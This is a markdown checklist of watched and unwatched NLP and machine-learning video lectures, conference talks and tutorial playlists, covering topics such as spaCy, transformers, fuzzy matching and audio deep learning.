- [X] [Rasa Algorithm Whiteboard - Response Selection](https://www.youtube.com/watch?v=2jvyWngHEJM) `0:12:07`
- [X] [Rasa Algorithm Whiteboard - Response Selection: Implementation](https://www.youtube.com/watch?v=0tXkFScW0hE) `0:09:25`
- [X] [Rasa Algorithm Whiteboard - Countvectors](https://www.youtube.com/watch?v=Ju7l5ADg10U) `0:13:32`
- [X] [Rasa Algorithm Whiteboard - Subword Embeddings](https://www.youtube.com/watch?v=kNw9dpzp5RU) `0:11:58`
- [X] [Rasa Algorithm Whiteboard - Implementation of Subword Embeddings](https://www.youtube.com/watch?v=8D3Gamk1Jig) `0:10:01`
- [X] [Rasa Algorithm Whiteboard - BytePair Embeddings](https://www.youtube.com/watch?v=-0IjF-7OB3s) `0:12:44`
- [X] [Youtube: A brief history of the Transformer architecture in NLP](https://www.youtube.com/watch?v=iH-wmtxHunk)
- [X] [Youtube: The Transformer neural network architecture explained. “Attention is all you need” (NLP)](https://www.youtube.com/watch?v=FWFA4DGuzSc)
- [X] [Youtube: How does a Transformer architecture combine Vision and Language? ViLBERT - NLP meets Computer Vision](https://www.youtube.com/watch?v=dd7nE4nbxN0)
- [X] [Youtube: Strategies for pre-training the BERT-based Transformer architecture – language (and vision)](https://www.youtube.com/watch?v=dabFOBE4eZI)
- [X] [Youtube: Ilya Sutskever - GPT-2](https://youtu.be/T0I88NhR_9M)
- [X] [Youtube: NLP Masterclass | Modeling Fallacies in NLP](https://youtu.be/f2m6Mon0VE8?t=223)
- [X] [Youtube: What is GPT-3? Showcase, possibilities, and implications](https://youtu.be/5fqxPOaaqi0)
- [X] [Youtube: TextAttack: A Framework for Data Augmentation and Adversarial Training in NLP](https://youtu.be/VpLAjOQHaLU?list=LLqn7Nv8Zg6tWbBonrUOJGwQ)
- [X] [Article: How the Embedding Layers in BERT Were Implemented](https://medium.com%[email protected]/@_init_/why-bert-has-3-embedding-layers-and-their-implementation-details-9c261108e28a)
- [X] [Youtube: Easy Data Augmentation for Text Classification](https://www.youtube.com/watch?v=3w92peJtYNQ&feature=youtu.be)
- [X] [Youtube: Webinar: Special NLP Session with Hugging Face](https://www.youtube.com/watch?v=SUqi_E_Lyjs)
- [X] [Youtube: Spacy IRL 2019](https://www.youtube.com/playlist?list=PLBmcuObd5An4UC6jvK_-eSl6jCvP1gwXc)
- [X] [Sebastian Ruder: Transfer Learning in Open-Source Natural Language Processing (spaCy IRL 2019)](https://www.youtube.com/watch?v=hNPwRPg9BrQ) `0:31:24`
- [X] [Giannis Daras: Improving sparse transformer models for efficient self-attention (spaCy IRL 2019)](https://www.youtube.com/watch?v=KwKr_e7xBQ4) `0:20:13`
- [X] [Peter Baumgartner: Applied NLP: Lessons from the Field (spaCy IRL 2019)](https://www.youtube.com/watch?v=QRGMJWwOU94) `0:18:44`
- [X] [Justina Petraitytė: Lessons learned in helping ship conversational AI assistants (spaCy IRL 2019)](https://www.youtube.com/watch?v=1jI0mTcNRUU) `0:23:48`
- [X] [Yoav Goldberg: The missing elements in NLP (spaCy IRL 2019)](https://www.youtube.com/watch?v=e12danHhlic) `0:30:27`
- [X] [Sofie Van Landeghem: Entity linking functionality in spaCy (spaCy IRL 2019)](https://www.youtube.com/watch?v=PW3RJM8tDGo) `0:20:08`
- [X] [Guadalupe Romero: Rethinking rule-based lemmatization (spaCy IRL 2019)](https://www.youtube.com/watch?v=88zcQODyuko) `0:14:49`
- [X] [Mark Neumann: ScispaCy: A spaCy pipeline & models for scientific & biomedical text (spaCy IRL 2019)](https://www.youtube.com/watch?v=2_HSKDALwuw) `0:18:59`
- [X] [Patrick Harrison: Financial NLP at S&P Global (spaCy IRL 2019)](https://www.youtube.com/watch?v=rdmaR4WRYEM) `0:21:42`
- [X] [McKenzie Marshall: NLP in Asset Management (spaCy IRL 2019)](https://www.youtube.com/watch?v=kX14Ycieju8) `0:20:32`
- [X] [David Dodson: spaCy in the News: Quartz's NLP pipeline (spaCy IRL 2019)](https://www.youtube.com/watch?v=azrVX8JksMU) `0:20:56`
- [X] [Matthew Honnibal & Ines Montani: spaCy and Explosion: past, present & future (spaCy IRL 2019)](https://www.youtube.com/watch?v=Jk9y17lvltY) `0:54:13`
- [X] [Youtube: The Future of Natural Language Processing](https://youtu.be/G5lmya6eKtc)
- [X] [Youtube: Sentiment Analysis: Key Milestones, Challenges and New Directions](https://www.youtube.com/watch?v=YAqjf7to-lU)
- [X] [Youtube: Simple and Efficient Deep Learning for Natural Language Processing, with Moshe Wasserblat, Intel AI](https://www.youtube.com/watch?v=Bgr684dPJ6U)
- [X] [Youtube: Why not solve biological problems with a Transformer? BERTology meets Biology](https://www.youtube.com/watch?v=pFf4PltQ9LY)
- [X] [Youtube: Self-attention step-by-step | How to get meaning from text](https://youtu.be/-9vVhYEXeyQ)
- [X] [Youtube: Chat Bot with PyTorch](https://www.youtube.com/playlist?list=PLqnslRFeH2UrFW4AUgn-eY37qOAWQpJyg)
- [ ] [Youtube: NLP with Friends Talks](https://www.youtube.com/playlist?list=PL0zsOCvKa2iEqmPV6WGhjuP-tsrUy102C)
- [X] [NLP with Friends, Featured Friend: Tom McCoy](https://www.youtube.com/watch?v=2w1jZyLHzsc) `0:36:48`
- [X] [NLP with Friends, Featured Friend: Maarten Sap](https://www.youtube.com/watch?v=1bSk00tEpaM) `0:36:11`
- [ ] [NLP with Friends, featured friend: Nitika Mathur](https://www.youtube.com/watch?v=w4zyfZV5Q8I) `1:01:42`
- [ ] [NLP with Friends, Featured Friend: Sabrina J Mielke](https://www.youtube.com/watch?v=4-ulM2moEWg) `1:01:28`
- [X] [Youtube: Insincere Question Classification with PyTorch](https://www.youtube.com/playlist?list=PLUH_l3HbfEW3Nyst9FTbPiRosViWQRZDL&app=desktop)
- [X] [[PART 1] Insincere Question Classification with PyTorch](https://www.youtube.com/watch?v=mmUttpXu7oE) `0:22:34`
- [X] [[PART 2] Insincere Question Classification with PyTorch](https://www.youtube.com/watch?v=m3JGRoNSdqE) `0:33:53`
- [X] [[PART 3] Insincere Question Classification with PyTorch](https://www.youtube.com/watch?v=-bfYCBznJ6s) `0:23:49`
- [X] [[PART 4] Insincere Question Classification with PyTorch](https://www.youtube.com/watch?v=e9CxGeQZTVA) `0:14:25`
- [ ] [Crash Course: Linguistics](https://www.youtube.com/playlist?list=PL8dPuuaLjXtP5mp25nStsuDzk2blncJDW)
- [X] [Crash Course Linguistics Preview](https://www.youtube.com/watch?v=eDop3FDoUzk) `0:02:50`
- [X] [What is Linguistics?: Crash Course Linguistics #1](https://www.youtube.com/watch?v=3yLXNzDUH58) `0:11:11`
- [X] [Youtube: Recent Advances in Language Pretraining and Generation](https://docs.google.com/presentation/d/1_a232oAGzI6yRFoZTD_cwRTY8ryL8VIud13s0oNDQhA/mobilepresent?slide=id.g7ec93c1fdb_0_2269)
- [X] [Youtube: Talks # 3: Lorenzo Ampil - Introduction to T5 for Sentiment Span Extraction](https://www.youtube.com/watch?v=4LYw_UIdd4A)
- [X] [Youtube: Frontiers in ML: Learning from Limited Labeled Data: Challenges and Opportunities for NLP](https://www.youtube.com/watch?v=MD2fYFt5_5E)
- [X] [Youtube: DeepLearning.ai NLP talk: Chris Manning](https://www.youtube.com/watch?v=H343JRrncfc&feature=youtu.be)
- [X] [Youtube: DeepLearning.ai NLP talk: Oren Etzioni](https://www.youtube.com/watch?v=PiF2Aln-L3w&feature=youtu.be)
- [X] [Youtube: DeepLearning.ai NLP talk: Quoc Le](https://www.youtube.com/watch?v=KGI7K_ehHsU)
- [X] [Youtube: What can MIR learn from transfer learning in NLP?](https://www.youtube.com/watch?v=9ufD9Who00Y&t=13m26s)
- [X] [Youtube: The Narrated Transformer Language Model](https://www.youtube.com/watch?v=-QH8fRhqFHM)
- [X] [Youtube: spaCy v3.0: Bringing State-of-the-art NLP from Prototype to Production](https://globalai.live/october-sessions-natural-language-processing/keynote-2/) `00:22:40`
- [X] [Youtube: Conversational AI with Transformers and Rule-Based Systems](https://www.youtube.com/watch?v=_-rCUnPBlME) `1:53:24`
- [X] [Talk: High Performance Natural Language Processing](https://slideslive.com/38940826)
- [X] [Talk: EmoTag1200: Understanding the Association between Emojis and Emotions](https://slideslive.com/38939357/emotag1200-understanding-the-association-between-emojis-and-emotions)
- [ ] [Youtube: Research Paper Walkthrough](https://www.youtube.com/playlist?list=PLsAqq9lZFOtWUz1WEoJ3GXw197LD7BxMc)
- [X] [Simple Unsupervised Keyphrase Extraction using Sentence Embeddings | Research Paper Walkthrough](https://www.youtube.com/watch?v=ykClwtoLER8) `0:21:23`
- [X] [Leveraging BERT for Extractive Text Summarization on Lectures | Research Paper Walkthrough](https://www.youtube.com/watch?v=JU6eSLsp6vI) `0:20:10`
- [X] [Data Augmentation Techniques for Text Classification in NLP | Research Paper Walkthrough](https://www.youtube.com/watch?v=-1unNLkwImw) `0:14:33`
- [X] [CRIM at SemEval-2018 Task 9: A Hybrid Approach to Hypernym Discovery | Research Paper Walkthrough](https://www.youtube.com/watch?v=AxMSd4EPVVc) `0:23:47`
- [X] [Data Augmentation using Pre-trained Transformer Model (BERT, GPT2, etc) | Research Paper Walkthrough](https://www.youtube.com/watch?v=9O9scQb4sNo) `0:17:43`
- [X] [A Supervised Approach to Extractive Summarisation of Scientific Papers | Research Paper Walkthrough](https://www.youtube.com/watch?v=73uWfopdjoc) `0:19:01`
- [X] [BLEURT: Learning Robust Metrics for Text Generation | Research Paper Walkthrough](https://www.youtube.com/watch?v=9lWxwfMKAdM) `0:13:38`
- [X] [DeepWalk: Online Learning of Social Representations | ML with Graphs | Research Paper Walkthrough](https://www.youtube.com/watch?v=-uJL_ANy1jc) `0:17:44`
- [X] [LSBert: A Simple Framework for Lexical Simplification | Research Paper Walkthrough](https://www.youtube.com/watch?v=uhnKsGDyhEg) `0:20:27`
- [X] [SpanBERT: Improving Pre-training by Representing and Predicting Spans | Research Paper Walkthrough](https://www.youtube.com/watch?v=QUP3rMrA1mk) `0:14:21`
- [X] [Text Summarization of COVID-19 Medical Articles using BERT and GPT-2 | Research Paper Walkthrough](https://www.youtube.com/watch?v=kC5kP1dPAzc) `0:21:52`
- [X] [Extractive & Abstractive Summarization with Transformer Language Models | Research Paper Walkthrough](https://www.youtube.com/watch?v=2IzXW3Ypks0) `0:16:58`
- [X] [Unsupervised Multi-Document Summarization using Neural Document Model | Research Paper Walkthrough](https://www.youtube.com/watch?v=qOoAlI5hpFk) `0:15:11`
- [X] [SummPip: Multi-Document Summarization with Sentence Graph Compression | Research Paper Walkthrough](https://www.youtube.com/watch?v=1jwUOMQVCo4) `0:16:54`
- [X] [Combining BERT with Static Word Embedding for Categorizing Social Media | Research Paper Walkthrough](https://www.youtube.com/watch?v=VqlA_ALWQdM) `0:13:51`
- [X] [Reformulating Unsupervised Style Transfer as Paraphrase Generation | Research Paper Walkthrough](https://www.youtube.com/watch?v=cjnk3PJljDs) `0:19:41`
- [X] [PEGASUS: Pre-training with Gap-Sentences for Abstractive Summarization | Research Paper Walkthrough](https://www.youtube.com/watch?v=QY8oZxS0txs) `0:15:04`
- [X] [Evaluation of Text Generation: A Survey | Human-Centric Evaluations | Research Paper Walkthrough](https://www.youtube.com/watch?v=-CIlz-5um7U) `0:15:54`
- [X] [TOD-BERT: Pre-trained Transformers for Task-Oriented Dialogue Systems (Research Paper Walkthrough)](https://www.youtube.com/watch?v=z3Pe0cJUvO0) `0:15:25`
- [X] [TextRank: Bringing Order into Texts (Research Paper Walkthrough)](https://www.youtube.com/watch?v=2l6Fa767kEw) `0:14:34`
- [X] [Node2Vec: Scalable Feature Learning for Networks | ML with Graphs (Research Paper Walkthrough)](https://www.youtube.com/watch?v=LpwGZG5j_q0) `0:14:33`
- [X] [HARP: Hierarchical Representation Learning for Network | ML with Graphs (Research Paper Walkthrough)](https://www.youtube.com/watch?v=7HJFa8Xct80) `0:15:10`
- [X] [URL2Video: Automatic Video Creation From a Web Page | AI and Creativity (Research Paper Walkthrough)](https://www.youtube.com/watch?v=SlPvzvoU3a8) `0:15:21`
- [X] [On Generating Extended Summaries of Long Documents (Research Paper Walkthrough)](https://www.youtube.com/watch?v=Inc63mLLInA) `0:14:24`
- [X] [Nucleus Sampling: The Curious Case of Neural Text Degeneration (Research Paper Walkthrough)](https://www.youtube.com/watch?v=dCORspO2yVY) `0:12:48`
- [X] [T5: Exploring Limits of Transfer Learning with Text-to-Text Transformer (Research Paper Walkthrough)](https://www.youtube.com/watch?v=91iLu6OOrwk) `0:12:47`
- [X] [DialoGPT: Generative Training for Conversational Response Generation (Research Paper Walkthrough)](https://www.youtube.com/watch?v=Zo679MYoJns) `0:13:17`
- [X] [Hierarchical Transformers for Long Document Classification (Research Paper Walkthrough)](https://www.youtube.com/watch?v=3IOl5d9PZeM) `0:12:46`
- [ ] [Beyond Accuracy: Behavioral Testing of NLP Models with CheckList (Best Paper ACL 2020)](https://www.youtube.com/watch?v=m4EtNuR5RFQ) `0:14:00`
- [X] [NLP Summit 2020](https://www.youtube.com/playlist?list=PL5zieHHAlvAr2QkDyP-BfEVmaIC5BAq4q)
- [X] [The 2020 Trends for Applied Natural Language Processing | NLP Summit 2020](https://www.youtube.com/watch?v=bAPVJJIPMy0) `0:21:10`
- [X] [NLP Industry Survey Analysis: the landscape of natural language use cases in 2020 | NLP Summit 2020](https://www.youtube.com/watch?v=93BJyr60DIE) `0:20:23`
- [X] [Auto NLP: Pretrain, Tune & Deploy State-of-the-art Models Without Coding](https://www.youtube.com/watch?v=-ud0zz2ttwU) `0:19:57`
- [X] [Proof-of-Concept Delight | NLP Summit 2020](https://www.youtube.com/watch?v=gWap5pmzye0) `0:16:50`
- [X] [Distributed Natural Language Processing Apps for Financial Engineering | NLP Summit 2020](https://www.youtube.com/watch?v=SZJPV6QLmTI) `0:34:49`
- [X] [Bleeding Edge Applications of 2020 Transformers | NLP Summit 2020](https://www.youtube.com/watch?v=C1-408G3WO8) `0:33:34`
- [X] [How Freshworks Freddy AI leverages NLP for Ethics-First Customer Experiences | NLP Summit 2020](https://www.youtube.com/watch?v=FxG92XXbnD8) `0:26:49`
- [X] [NLP for Recruitment Automation: Building a Chatbot from the Job Description | NLP Summit 2020](https://www.youtube.com/watch?v=i6-RMbE_auQ) `0:22:31`
- [ ] [Youtube: Explainability for Natural Language Processing](https://www.youtube.com/watch?v=3tnrGe_JA0s)
- [X] [Youtube: Gibberish Detector](https://www.youtube.com/watch?v=l15C8UJu17s)
- [X] [Youtube: NLP Lecture 7 Constituency Parsing](https://www.youtube.com/playlist?list=PLr9TFf9GjancAHiiP5cqGmYsZad99Uf_h)
- [X] [NLP Lecture 7 - Overview of Constituency Parsing Lecture](https://www.youtube.com/watch?v=pXTrY2GPMn0) `0:01:50`
- [X] [NLP Lecture 7 - Introduction to Constituency Parsing](https://www.youtube.com/watch?v=El4r91dgCTQ) `0:10:29`
- [X] [NLP Lecture 7(a) - Context Free Grammar](https://www.youtube.com/watch?v=kq4aUYzLlb0) `0:17:03`
- [X] [NLP Lecture 7(b) - Constituency Parsing](https://www.youtube.com/watch?v=_OpOoiySZRA) `0:13:28`
- [X] [NLP Lecture 7(c) - Statistical Constituency Parsing](https://www.youtube.com/watch?v=avmq_oVGOOM) `0:09:38`
- [X] [NLP Lecture 7(d) - Dependency Parsing](https://www.youtube.com/watch?v=2jLk93iIyrw) `0:17:15`
- [X] [Youtube: LING 83 Teaching Video: Constituency Parsing](https://www.youtube.com/watch?v=G_bd2z4mIiI)
- [X] [Youtube: SpaCy for Digital Humanities with Python Tutorials](https://www.youtube.com/playlist?list=PL2VXyKi-KpYvuOdPwXR-FZfmZ0hjoNSUo)
- [X] [Introduction to SpaCy and Cleaning Data (SpaCy and Python Tutorials for DH - 01)](https://www.youtube.com/watch?v=8HZ4BjWMod4) `0:06:07`
- [X] [How to Install SpaCy and Models (Spacy and Python Tutorial for DH 02)](https://www.youtube.com/watch?v=yqruv_QQctI) `0:07:40`
- [X] [How to Separate Sentences in SpaCy (SpaCy and Python Tutorials for DH - 03)](https://www.youtube.com/watch?v=ytAyCO-n8tY) `0:08:33`
- [X] [Spacy and Named Entity Recognition NER (Spacy and Python Tutorial for DH 04)](https://www.youtube.com/watch?v=lxHNsXudkrY) `0:08:32`
- [X] [Finding Parts of Speech (SpaCy and Python Tutorial for DH 05)](https://www.youtube.com/watch?v=nv0pksknFxY) `0:02:55`
- [X] [Extracting Nouns and Noun Chunks (SpaCy and Python Tutorial for DH 06)](https://www.youtube.com/watch?v=aNKt1gKK8Lo) `0:05:46`
- [X] [Extracting Verbs and Verb Phrases (SpaCy and Python Tutorial for DH 07)](https://www.youtube.com/watch?v=VgGHwIWu-kU) `0:08:10`
- [X] [Lemmatization: Finding the Roots of Words (Spacy and Python Tutorial for DH 08)](https://www.youtube.com/watch?v=YztOLsJkC3A) `0:04:52`
- [X] [Data Visualization with DisplaCy (Spacy and Python Tutorial for DH 09)](https://www.youtube.com/watch?v=UYOq3LXoka8) `0:09:13`
- [X] [Customizing DisplaCy Render Data Visualization (Spacy and Python Tutorial for DH 10)](https://www.youtube.com/watch?v=FAgMcg9hxkU) `0:08:19`
- [X] [Finding Quotes in Sentences (SpaCy and Python Tutorial for DH 11)](https://www.youtube.com/watch?v=wZE4YmtEBe0) `0:08:45`
- [X] [Introduction to Named Entity Recognition (NER for DH 01)](https://www.youtube.com/watch?v=E9h8qVm2uNY) `0:16:43`
- [X] [Machine Learning NER with Python and spaCy (NER for DH 03 )](https://www.youtube.com/watch?v=2Ny0yATnuxY) `0:13:36`
- [X] [How to Use spaCy's EntityRuler (Named Entity Recognition for DH 04 | Part 01)](https://www.youtube.com/watch?v=wpyCzodvO3A) `0:36:50`
- [X] [How to Use spaCy to Create an NER training set (Named Entity Recognition for DH 04 | Part 02)](https://www.youtube.com/watch?v=YBRF7tq1V-Q) `0:10:32`
- [X] [How to Train a spaCy NER model (Named Entity Recognition for DH 04 | Part 03)](https://www.youtube.com/watch?v=7Z1imsp6g10) `0:15:40`
- [X] [Examining a spaCy Model in the Folder (Named Entity Recognition for DH 05)](https://www.youtube.com/watch?v=cuUf2H6uCA8) `0:15:06`
- [X] [What are Word Vectors (Named Entity Recognition for DH 06)](https://www.youtube.com/watch?v=eZJm7PisZvk) `0:18:49`
- [X] [How to Generate Custom Word Vectors in Gensim (Named Entity Recognition for DH 07)](https://www.youtube.com/watch?v=6HM75qOsgkU) `0:23:05`
- [X] [How to Load Custom Word Vectors into spaCy Models (Named Entity Recognition for DH 08)](https://www.youtube.com/watch?v=aQPMWS6XiI8) `0:10:46`
- [X] [Getting the Data for Custom Labels (Holocaust NER for DH 09.01)](https://www.youtube.com/watch?v=XScpSI3RYQI) `0:11:00`
- [X] [How to Add a Custom NER Pipe in spaCy and a Custom Label (NER for DH 09.02 )](https://www.youtube.com/watch?v=1l3v2Zcgb3s) `0:07:49`
- [X] [How to Training Custom Entities into spaCy Models (Named Entity Recognition for DH 09 03)](https://www.youtube.com/watch?v=EcwehOuoqxw) `0:15:29`
- [X] [How to Add and Place Pipes from other Models into a New Model (NER for DH 09 04)](https://www.youtube.com/watch?v=fNvTnf10N2M) `0:12:24`
- [X] [How to Add Custom Functions to spaCy Pipeline (NER for DH 09.05)](https://www.youtube.com/watch?v=XE22cAnwmuQ) `0:15:20`
- [X] [Precision vs. Recall and Adding PERSON to Holocaust NER Pipeline (Named Entity Recognition DH 09.06)](https://www.youtube.com/watch?v=-321RJ_Rna8) `0:26:02`
- [X] [Finalizing the Holocaust NER Pipeline (Named Entity Recognition for DH 09.07)](https://www.youtube.com/watch?v=MYs0W2fPxSo) `0:14:16`
- [X] [Classical Latin Named Entity Recognition (NER for DH 10.01)](https://www.youtube.com/watch?v=zywMBYmV6Ew) `0:55:30`
- [X] [How to Package spaCy Models (Even with Custom Factories) (NER for DH 11)](https://www.youtube.com/watch?v=AGM7lXfQECM) `0:15:31`
- [ ] [Youtube: Billion-scale Approximate Nearest Neighbor Search](https://www.youtube.com/watch?v=SKrHs03i08Q)
- [X] [Youtube: Data Science - Fuzzy Record Matching](https://www.youtube.com/watch?v=YhrKvEjpBYo)
- [X] [Youtube: Minimum Edit Distance Dynamic Programming](https://www.youtube.com/watch?v=We3YDTzNXEk)
- [X] [Youtube: Cheuk Ting Ho - Fuzzy Matching Smart Way of Finding Similar Names Using Fuzzywuzzy](https://www.youtube.com/watch?v=NRAqIjXaZvw)
- [X] [Youtube: What's in a Name? Fast Fuzzy String Matching - Seth Verrinder & Kyle Putnam - Midwest.io 2015](https://www.youtube.com/watch?v=s0YSKiFdj8Q)
- [X] [Youtube: Jiaqi Liu Fuzzy Search Algorithms How and When to Use Them PyCon 2017](https://www.youtube.com/watch?v=kTS2b6pGElE)
- [X] [Youtube: 1 + 1 = 1 or Record Deduplication with Python | Flávio Juvenal @ PyBay2018](https://www.youtube.com/watch?v=McsTWXeURhA)
- [X] [Youtube: Mike Mull: The Art and Science of Data Matching](https://www.youtube.com/watch?v=Y-nYEOgq3YE)
- [X] [Youtube: Record linkage: Join for real life by Rhydwyn Mcguire](https://youtu.be/cEcVIjyHfiQ)
- [X] [Youtube: Approximate nearest neighbors and vector models, introduction to Annoy](https://www.youtube.com/watch?v=QkCCyLW0ehU)
- [X] [Youtube: Librosa Audio and Music Signal Analysis in Python | SciPy 2015 | Brian McFee](https://www.youtube.com/watch?v=MhOdbtPhbLU)
- [ ] [Video: Recent Advances in LM Pre-training](https://slideslive.com/38952401/recent-advances-in-lm-pretraining)
- [X] [Youtube: Deep Learning (for Audio) with Python](https://www.youtube.com/playlist?list=PL-wATfeyAMNrtbkCNsLcpoAyBBRJZVlnf)
- [X] [1- Deep Learning (for Audio) with Python: Course Overview](https://www.youtube.com/watch?v=fMqL5vckiU0) `0:08:02`
- [X] [2- AI, machine learning and deep learning](https://www.youtube.com/watch?v=1LLxZ35ru_g) `0:31:15`
- [X] [3- Implementing an artificial neuron from scratch](https://www.youtube.com/watch?v=qxIaW-WvLDU) `0:19:05`
- [X] [4- Vector and matrix operations](https://www.youtube.com/watch?v=FmD1S5yP_os) `0:25:51`
- [X] [5- Computation in neural networks](https://www.youtube.com/watch?v=QUCzvlgvk6I) `0:23:19`
- [X] [6- Implementing a neural network from scratch in Python](https://www.youtube.com/watch?v=0oWnheK-gGk) `0:21:03`
- [X] [7- Training a neural network: Backward propagation and gradient descent](https://www.youtube.com/watch?v=ScL18goxsSg) `0:21:41`
- [X] [8- TRAINING A NEURAL NETWORK: Implementing backpropagation and gradient descent from scratch](https://www.youtube.com/watch?v=Z97XGNUUx9o) `1:03:00`
- [X] [9- How to implement a (simple) neural network with TensorFlow 2](https://www.youtube.com/watch?v=JdXxaZcQer8) `0:24:37`
- [X] [10 - Understanding audio data for deep learning](https://www.youtube.com/watch?v=m3XbqfIij_Y) `0:32:55`
- [X] [11- Preprocessing audio data for Deep Learning](https://www.youtube.com/watch?v=Oa_d-zaUti8) `0:25:05`
- [X] [12- Music genre classification: Preparing the dataset](https://www.youtube.com/watch?v=szyGiObZymo) `0:37:45`
- [X] [13- Implementing a neural network for music genre classification](https://www.youtube.com/watch?v=_xcFAiufwd0) `0:33:25`
- [X] [14- SOLVING OVERFITTING in neural networks](https://www.youtube.com/watch?v=Gf5DO6br0ts) `0:26:29`
- [X] [15- Convolutional Neural Networks Explained Easily](https://www.youtube.com/watch?v=t3qWfUYJEYU) `0:35:23`
- [X] [16- How to Implement a CNN for Music Genre Classification](https://www.youtube.com/watch?v=dOG-HxpbMSw) `0:49:10`
- [X] [17- Recurrent Neural Networks Explained Easily](https://www.youtube.com/watch?v=DY82Goknf0s) `0:28:35`
- [X] [18- Long Short Term Memory (LSTM) Networks Explained Easily](https://www.youtube.com/watch?v=eCvz-kB4yko) `0:28:08`
- [X] [19- How to Implement an RNN-LSTM Network for Music Genre Classification](https://www.youtube.com/watch?v=4nXI0h2sq2I) `0:14:29`
- [X] [Youtube: Advanced Information Retrieval 2021 - TU Wien](https://www.youtube.com/playlist?list=PLSg1mducmHTPZPDoal4m59pPxxsceXF-y)
- [X] [AIR - 2021 Course Introduction](https://www.youtube.com/watch?v=6FNISntK6Sk) `0:21:39`
- [X] [Crash Course IR - Fundamentals](https://www.youtube.com/watch?v=ZC94KSDd4DM) `0:46:31`
- [ ] [Crash Course IR - Evaluation](https://www.youtube.com/watch?v=EiDltQZ713I) `0:37:15`
- [ ] [Crash Course IR - Test Collections](https://www.youtube.com/watch?v=pRRveh3D0pI) `0:51:12`
- [ ] [Word Representation Learning](https://www.youtube.com/watch?v=f3nM6DKVwug) `0:42:02`
- [ ] [Sequence Modelling with CNNs and RNNs](https://www.youtube.com/watch?v=7Bfj_UuJh38) `0:55:04`
- [ ] [Transformer and BERT Pre-training](https://www.youtube.com/watch?v=Mt7UJNKxscA) `0:47:15`
- [ ] [Introduction to Neural Re-Ranking](https://www.youtube.com/watch?v=GSixIsI1eZE) `0:59:20`
- [ ] [Transformer Contextualized Re-Ranking](https://www.youtube.com/watch?v=Fle-jKzV-Rk) `0:49:06`
- [ ] [Domain Specific Applications](https://www.youtube.com/watch?v=rHXTpHIiq6U) `0:38:32`
- [ ] [Dense Retrieval ❤ Knowledge Distillation](https://www.youtube.com/watch?v=EJ_7Gx6amt8) `0:59:28`
- [ ] [Youtube: Introduction to Dense Text Representation](https://www.youtube.com/playlist?list=PL7kaex1gKh6BDLHEwEeO45wZRDm5QlRil)
- [X] [Introduction to Dense Text Representations - Part 1](https://www.youtube.com/watch?v=qmN1fJ7Fdmo) `0:12:56`
- [X] [Introduction to Dense Text Representations - Part 2](https://www.youtube.com/watch?v=0RV-q0--NLs) `0:23:13`
- [X] [Introduction to Dense Text Representation - Part 3](https://www.youtube.com/watch?v=t4Gf4LruVZ4) `0:38:07`
- [ ] [Training State-of-the-Art Sentence Embedding Models](https://www.youtube.com/watch?v=RHXZKUr8qOY) `0:43:43`
- [X] [Youtube: Fine-tuning a large language model without your own supercomputer](https://www.youtube.com/watch?v=RG-yV5zgqjQ)
- [X] [Youtube: How to build a custom spell checker using python NLP](https://www.youtube.com/watch?v=LEA3TDV98zE)
- [X] [Youtube: Transformers 🤗 to Rule Them All? Under the Hood of the AI Recruiter Chatbot 🤖, with Keisuke Inoue](https://www.youtube.com/watch?v=aYYaDFXLF3c)
- [X] [Youtube: Artificial Intelligence and Natural Language Processing in E-Commerce by Katherine Munro | smec](https://www.youtube.com/watch?v=r7JI_5mt3To)
- [X] [Youtube: Abhishek Thakur - Classifying Search Queries Without User Click Data](https://www.youtube.com/watch?v=6e12EMglzTs)
- [X] [Youtube: Chatbots Revisted | by Abhishek Thakur | Kaggle Days Warsaw](https://www.youtube.com/watch?v=yQqyl0PZ2Wg)
- [X] [Youtube: Abhishek Thakur - Is That a Duplicate Quora Question?](https://www.youtube.com/watch?v=vA1V8A69e9c)
- [X] [Youtube: Design Considerations for building ML-Powered Search Applications - Mark Moyou](https://www.youtube.com/watch?v=q7xSuKq31Tk)
- [X] [Youtube: Analyze Customer Feedback in Minutes, Not Months](https://www.youtube.com/watch?v=RMamDDeIFeU)
- [X] [Youtube: NLP in Feedback Analysis - Yue Ning](https://www.youtube.com/watch?v=V8mCS1XHyTI)
- [X] [Youtube: Productionizing an unsupervised machine learning model to understand customer feedback](https://youtu.be/YLTLdEiJcq0)
- [X] [Youtube: Extracting topics from reviews using NLP - Dr. Tal Perri](https://www.youtube.com/watch?v=NVZho0VU53g)
- [X] [Youtube: Bringing innovation to online retail: automating customer service with NLP](https://www.youtube.com/watch?v=beB77I0leY4)
- [X] [Youtube: Transform customer service with machine learning (Google Cloud Next '17)](https://www.youtube.com/watch?v=bRnN4pBAsfc)
- [X] [Youtube: Real life aspects of opinion sentiment analysis within customer reviews - Dr. Jonathan Yaniv](https://www.youtube.com/watch?v=CVn0yR49yxA)
- [X] [Youtube: Deep Learning Methods for Emotion Detection from Text - Dr. Liron Allerhand](https://www.youtube.com/watch?v=DzAZ2Bq_dgU)
- [X] [Youtube: Learning How to Learn NLP : Developing Introductory Concepts Through Scaffolded Discoveries](https://www.youtube.com/watch?v=EcnsJUBRMbk)
- [X] [Youtube: What are Transformer Neural Networks?](https://www.youtube.com/watch?v=XSSTuhyAmnI)
- [X] [Youtube: Applied ML 2020 - 15 - Working with Text Data](https://www.youtube.com/watch?v=A8yDjNsUQJA) `1:27:08`
- [X] [Youtube: Applied ML 2020 - 16 - Topic models for text data](https://www.youtube.com/watch?v=xdmFx4-3Ukw) `1:18:34`
- [ ] [Youtube: Applied ML 2020 - 17 - Word vectors and document embeddings](https://www.youtube.com/watch?v=xgjnlGBpLUs) `1:03:04`
- [X] [Youtube: A Briefish Introduction to Discourse Representation Theory](https://www.youtube.com/watch?v=FR9Ukj0V4Do)
- [X] [Youtube: HuggingFace Crash Course - Sentiment Analysis, Model Hub, Fine Tuning](https://www.youtube.com/watch?v=GSt00_-0ncQ)
- [X] [Youtube: Huggingface Course Part 1](https://huggingface.co./course/)
- [X] [Youtube: Should we care about linguistics?](http://www.ipam.ucla.edu/abstract/?tid=14546)
- [ ] [Youtube: Transformers From Scratch](https://www.youtube.com/playlist?list=PLIUOU7oqGTLj-k75kkirRrCybsJzCKCJW)
- [ ] [How-to Use HuggingFace's Datasets - Transformers From Scratch #1](https://www.youtube.com/watch?v=GhGUZrcB-WM) `0:14:21`
- [ ] [Build a Custom Transformer Tokenizer - Transformers From Scratch #2](https://www.youtube.com/watch?v=JIeAB8vvBQo) `0:14:17`
- [ ] [Building MLM Training Input Pipeline - Transformers From Scratch #3](https://www.youtube.com/watch?v=heTYbpr9mD8) `0:23:11`
- [ ] [Training and Testing an Italian BERT - Transformers From Scratch #4](https://www.youtube.com/watch?v=35Pdoyi6ZoQ) `0:30:38`
